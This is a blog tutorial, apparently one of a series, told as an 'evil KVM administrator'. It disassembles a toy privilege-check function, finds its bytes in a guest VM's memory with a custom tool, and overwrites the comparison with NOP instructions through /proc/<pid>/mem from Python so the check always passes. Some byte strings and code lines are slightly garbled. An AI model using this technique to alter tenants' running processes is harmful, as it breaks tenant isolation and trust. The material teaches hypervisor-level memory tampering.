We are continuing our journey as an evil KVM administrator who wants to mess with a tenants virtual machines.
This time we will modify a binary execution code path by changing machine code opcodes in a running process!
Let’s image a simple C program, that looks like this:
6 | if (uid == 0 || uid == 666) { |
16 | if (check_priv() == 0) { |
17 | printf ( "You are a superuser!\n" ); |
19 | printf ( "You are not that super\n" ); |
This short code will show "You are a superuser!" if our UID is 0 or 666 and in all other cases it will show "You are not that super".
After compiling and executing the code, you will see the following output:
1 | [oracle@dbVictim ~]$ ./check_privs |
Let’s disassemble check_priv function to understand what is going on under the hood:
1 | (gdb) disas /r check_priv |
2 | Dump of assembler code for function check_priv: |
3 | 0x0000000000400616 <+0>: 55 push %rbp |
4 | 0x0000000000400617 <+1>: 48 89 e5 mov %rsp,%rbp |
5 | 0x000000000040061a <+4>: 48 83 ec 10 sub $0x10,%rsp |
6 | 0x000000000040061e <+8>: e8 ed fe ff ff callq 0x400510 <getuid@plt> |
7 | 0x0000000000400623 <+13>: 89 45 fc mov %eax,-0x4(%rbp) |
8 | 0x0000000000400626 <+16>: 83 7d fc 00 cmpl $0x0,-0x4(%rbp) |
9 | 0x000000000040062a <+20>: 74 09 je 0x400635 <check_priv+31> |
10 | 0x000000000040062c <+22>: 81 7d fc 9a 02 00 00 cmpl $0x29a,-0x4(%rbp) |
11 | 0x0000000000400633 <+29>: 75 07 jne 0x40063c <check_priv+38> |
12 | 0x0000000000400635 <+31>: b8 00 00 00 00 mov $0x0,%eax |
13 | 0x000000000040063a <+36>: eb 05 jmp 0x400641 <check_priv+43> |
14 | 0x000000000040063c <+38>: b8 ff ff ff ff mov $0xffffffff,%eax |
15 | 0x0000000000400641 <+43>: c9 leaveq |
16 | 0x0000000000400642 <+44>: c3 req |
- callq 0x400510 <getuid@plt>: here we are calling a getuid function – the result of this function is stored at EAX register;
- mov %eax,-0x4(%rbp): in here we are storing the EAX register value at memory offset, pointed by RBP, minus 4 bytes;
- cmpl $0x0,-0x4(%rbp): this is comparing "0″ and a value on a memory offset we used earlier to store the result from getuid function;
- je 0x400635 <check_priv+31>: if the compared values are equal – jump to the 31th byte of this function;
- cmpl $0x29a,-0x4(%rbp): now compare 0x29a (666) with the memory offset we used earlier to store the result from getuid function ;
- jne 0x40063c <check_priv+38>: if they are not equal – jump to the 38th byte of the function ;
- mov $0x0,%eax: store value "0″ on the return registry;
- jmp 0x400641 <check_priv+43>: jump to byte 43 of this function;
- mov $0xffffffff,%eax: set value "-1″ on the return registry;
- leaveq: Prepares the stack for leaving a function
- retq: return from the function
As you can see, depending on the jump instructions, the return registry is either set with value 0 or with value -1. We want it to be set always to value "0″.
When this would be possible? There’s an awesome instruction called NOP – it basically means: "do nothing and check next byte".
So we would like our code to look like this in the assembly:
1 | Dump of assembler code for function check_priv: |
2 | 0x0000000000400616 <+0>: 55 push %rbp |
3 | 0x0000000000400617 <+1>: 48 89 e5 mov %rsp,%rbp |
4 | 0x000000000040061a <+4>: 48 83 ec 10 sub $0x10,%rsp |
5 | 0x000000000040061e <+8>: e8 ed fe ff ff callq 0x400510 <getuid@plt> |
6 | 0x0000000000400623 <+13>: 90 nop |
7 | 0x0000000000400624 <+14>: 90 nop |
8 | 0x0000000000400625 <+15>: 90 nop |
9 | 0x0000000000400626 <+16>: 90 nop |
10 | 0x0000000000400627 <+17>: 90 nop |
11 | 0x0000000000400628 <+18>: 90 nop |
12 | 0x0000000000400629 <+19>: 90 nop |
13 | 0x000000000040062a <+20>: 90 nop |
14 | 0x000000000040062b <+21>: 90 nop |
15 | 0x000000000040062c <+22>: 90 nop |
16 | 0x000000000040062d <+23>: 90 nop |
17 | 0x000000000040062e <+24>: 90 nop |
18 | 0x000000000040062f <+25>: 90 nop |
19 | 0x0000000000400630 <+26>: 90 nop |
20 | 0x0000000000400631 <+27>: 90 nop |
21 | 0x0000000000400632 <+28>: 90 nop |
22 | 0x0000000000400633 <+29>: 90 nop |
23 | 0x0000000000400634 <+30>: 90 nop |
24 | 0x0000000000400635 <+31>: b8 00 00 00 00 mov $0x0,%eax |
25 | 0x000000000040063a <+36>: eb 05 jmp 0x400641 <check_priv+43> |
26 | 0x000000000040063c <+38>: b8 ff ff ff ff mov $0xffffffff,%eax |
The binary code of our function looks right now like this: "55 48 89 e5 48 83 ec 10 e8 ed fe ff3 7d fc 00 74 09 81 7d fc 9a 02 00 00 75 07 b8 00 00 00 00 eb 05 b8 ff ff ff ff c9 c3″
As an evil KVM administrator, I could find this piece of code running inside a VM:
1 | ./focs_vm/target/release/focs_vm -p 15800 -m $((6291456*1024)) -h "55 48 89 e5 48 83 ec 10 e8 ed fe ff3 7d fc 00 74 09 81 7d fc 9a 02 00 00 75 07 b8 00 00 00 00 eb 05 b8 ff ff ff ff c9 c3" |
2 | Found 1 positions in a chunk |
5 | Length: 256 (0x100) bytes |
6 | 0000: 55 48 89 e5 48 83 ec 10 e8 ed fe ff ff 89 45 fc UH..H.........E. |
7 | 0010: 83 7d fc 00 74 09 81 7d fc 9a 02 00 00 75 07 b8 .}..t..}.....u.. |
8 | 0020: 00 00 00 00 eb 05 b8 ff ff ff ff c9 c3 55 48 89 .............UH. |
9 | 0030: e5 b8 00 00 00 00 e8 c5 ff ff ff 85 c0 75 0c bf .............u.. |
10 | 0040: 18 07 40 00 e8 a1 fe ff ff eb 0a bf 2d 07 40 00 ..@.........-.@. |
11 | 0050: e8 95 fe ff ff bf 01 00 00 00 e8 ab fe ff ff eb ................ |
12 | 0060: d0 66 0f 1f 84 00 00 00 00 00 f3 0f 1e fa 41 57 .f............AW |
13 | 0070: 49 89 d7 41 56 49 89 f6 41 55 41 89 fd 41 54 4c I..AVI..AUA..ATL |
14 | 0080: 8d 25 64 07 20 00 55 48 8d 2d 64 07 20 00 53 4c .%d. .UH.-d. .SL |
15 | 0090: 29 e5 48 83 ec 08 e8 1f fe ff ff 48 c1 fd 03 74 ).H........H...t |
16 | 00a0: 1f 31 db 0f 1f 80 00 00 00 00 4c 89 fa 4c 89 f6 .1........L..L.. |
17 | 00b0: 44 89 ef 41 ff 14 dc 48 83 c3 01 48 39 dd 75 ea D..A...H...H9.u. |
18 | 00c0: 48 83 c4 08 5b 5d 41 5c 41 5d 41 5e 41 5f c3 66 H...[]A\A]A^A_.f |
19 | 00d0: 66 2e 0f 1f 84 00 00 00 00 00 f3 0f 1e fa c3 00 f............... |
20 | 00e0: 00 00 f3 0f 1e fa 48 83 ec 08 48 83 c4 08 c3 00 ......H...H..... |
21 | 00f0: 00 00 01 00 02 00 00 00 00 00 00 00 00 00 00 00 ................ |
Now we can try to modify binary this part of the memory to change execution path of our program:
2 | >>> f = open ( "/proc/15800/mem" , "rb+" ) |
3 | >>> f.seek( 140697484953110 + 13 ) |
4 | >>> nop = binascii.unhexlify( "90" ) |
6 | ... nop + = binascii.unhexlify( "90" ) |
By doing this, I jumped 13 bytes further than the beginning of my function and I added 18 NOP instructions, to jump directly to offset @31 and force my function to return desired value!
On my victim machine I will immediately see the desired output:
And that’s it! We have changed the assembly of our program to do what we wanted 🙂
Stay tuned for more!